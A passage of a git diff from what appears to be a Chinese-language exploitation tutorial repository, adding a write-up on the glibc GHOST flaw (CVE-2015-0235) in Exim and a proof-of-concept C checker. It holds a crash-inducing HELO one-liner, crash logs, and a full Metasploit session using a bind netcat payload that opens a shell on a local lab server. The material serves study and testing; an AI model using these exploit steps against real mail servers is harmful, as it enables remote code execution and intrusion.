|
||||||
|
h.mx = MX_NONE;
|
||||||
|
h.next = NULL;
|
||||||
|
HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
|
||||||
|
sender_helo_name);
|
||||||
|
rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
|
||||||
|
if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
|
||||||
|
[....]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
// src/src/host.c
|
||||||
|
int
|
||||||
|
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
|
||||||
|
uschar **fully_qualified_name, BOOL local_host_check)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
for (i = 1; i <= times;
|
||||||
|
#if HAVE_IPV6
|
||||||
|
af = AF_INET, /* If 2 passes, IPv4 on the second */
|
||||||
|
#endif
|
||||||
|
i++)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
#if HAVE_IPV6
|
||||||
|
if (running_in_test_harness)
|
||||||
|
hostdata = host_fake_gethostbyname(host->name, af, &error_num);
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#if HAVE_GETIPNODEBYNAME
|
||||||
|
hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
|
||||||
|
#else
|
||||||
|
hostdata = gethostbyname2(CS host->name, af);
|
||||||
|
error_num = h_errno;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* not HAVE_IPV6 */
|
||||||
|
if (running_in_test_harness)
|
||||||
|
hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
|
||||||
|
else
|
||||||
|
{
|
||||||
|
hostdata = gethostbyname(CS host->name);
|
||||||
|
error_num = h_errno;
|
||||||
|
}
|
||||||
|
#endif /* HAVE_IPV6 */
|
||||||
|
```
|
||||||
|
函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。
|
||||||
|
|
||||||
|
这一次我们输入这样的一串字符,即可导致溢出:
|
||||||
|
```
|
||||||
|
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
|
||||||
|
```
|
||||||
|
但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。
|
||||||
|
```
|
||||||
|
Connection closed by foreign host.
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ dmesg | grep exim
|
||||||
|
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
|
||||||
|
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
|
||||||
|
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
|
||||||
|
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
|
||||||
|
```
|
||||||
|
|
||||||
|
其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开:
|
||||||
|
```
|
||||||
|
$ /etc/init.d/exim4 restart
|
||||||
|
```
|
||||||
|
```
|
||||||
|
msf > search exim
|
||||||
|
|
||||||
|
Matching Modules
|
||||||
|
================
|
||||||
|
|
||||||
|
Name Disclosure Date Rank Description
|
||||||
|
---- --------------- ---- -----------
|
||||||
|
exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
|
||||||
|
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
|
||||||
|
exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
|
||||||
|
exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
|
||||||
|
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
|
||||||
|
|
||||||
|
|
||||||
|
msf > use exploit/linux/smtp/exim_gethostbyname_bof
|
||||||
|
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
|
||||||
|
RHOST => 127.0.0.1
|
||||||
|
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
|
||||||
|
SENDER_HOST_ADDRESS => 127.0.0.1
|
||||||
|
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
|
||||||
|
payload => cmd/unix/bind_netcat
|
||||||
|
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
|
||||||
|
|
||||||
|
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
RHOST 127.0.0.1 yes The target address
|
||||||
|
RPORT 25 yes The target port (TCP)
|
||||||
|
SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (cmd/unix/bind_netcat):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
RHOST 127.0.0.1 no The target address
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Automatic
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
|
||||||
|
|
||||||
|
[*] Started bind handler
|
||||||
|
[*] 127.0.0.1:25 - Checking if target is vulnerable...
|
||||||
|
[+] 127.0.0.1:25 - Target is vulnerable.
|
||||||
|
[*] 127.0.0.1:25 - Trying information leak...
|
||||||
|
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
|
||||||
|
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
|
||||||
|
[*] 127.0.0.1:25 - Trying code execution...
|
||||||
|
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
|
||||||
|
[+] 127.0.0.1:25 - Brute-force SUCCESS
|
||||||
|
[+] 127.0.0.1:25 - Please wait for reply...
|
||||||
|
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
|
||||||
|
|
||||||
|
whoami
|
||||||
|
Debian-exim
|
||||||
|
id
|
||||||
|
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
|
||||||
|
```
|
||||||
|
Bingo!!!成功获得了一个反弹 shell。
|
||||||
|
|
||||||
|
对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。
|
||||||
|
|
||||||
|
|
||||||
|
## 参考资料
|
||||||
|
- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
|
||||||
|
- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9)
|
||||||
|
- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/)
|
||||||
|
- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)
|
@ -1,3 +1,4 @@
|
|||||||
# 第七篇 实战篇
|
# 第七篇 实战篇
|
||||||
|
|
||||||
- [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](7.1.1_tcpdump_2017-11543.md)
|
- [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](7.1.1_tcpdump_2017-11543.md)
|
||||||
|
- [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md)
|
||||||
|
38
src/exploit/7.1.2_glibc_2015-0235/poc.c
Normal file
38
src/exploit/7.1.2_glibc_2015-0235/poc.c
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
#include <netdb.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#define CANARY "in_the_coal_mine"
|
||||||
|
|
||||||
|
struct {
|
||||||
|
char buffer[1024];
|
||||||
|
char canary[sizeof(CANARY)];
|
||||||
|
} temp = { "buffer", CANARY };
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct hostent resbuf;
|
||||||
|
struct hostent *result;
|
||||||
|
int herrno;
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
|
||||||
|
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
|
||||||
|
char name[sizeof(temp.buffer)];
|
||||||
|
memset(name, '0', len);
|
||||||
|
name[len] = '\0';
|
||||||
|
|
||||||
|
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
|
||||||
|
|
||||||
|
if (strcmp(temp.canary, CANARY) != 0) {
|
||||||
|
puts("vulnerable");
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
if (retval == ERANGE) {
|
||||||
|
puts("not vulnerable");
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
puts("should not happen");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user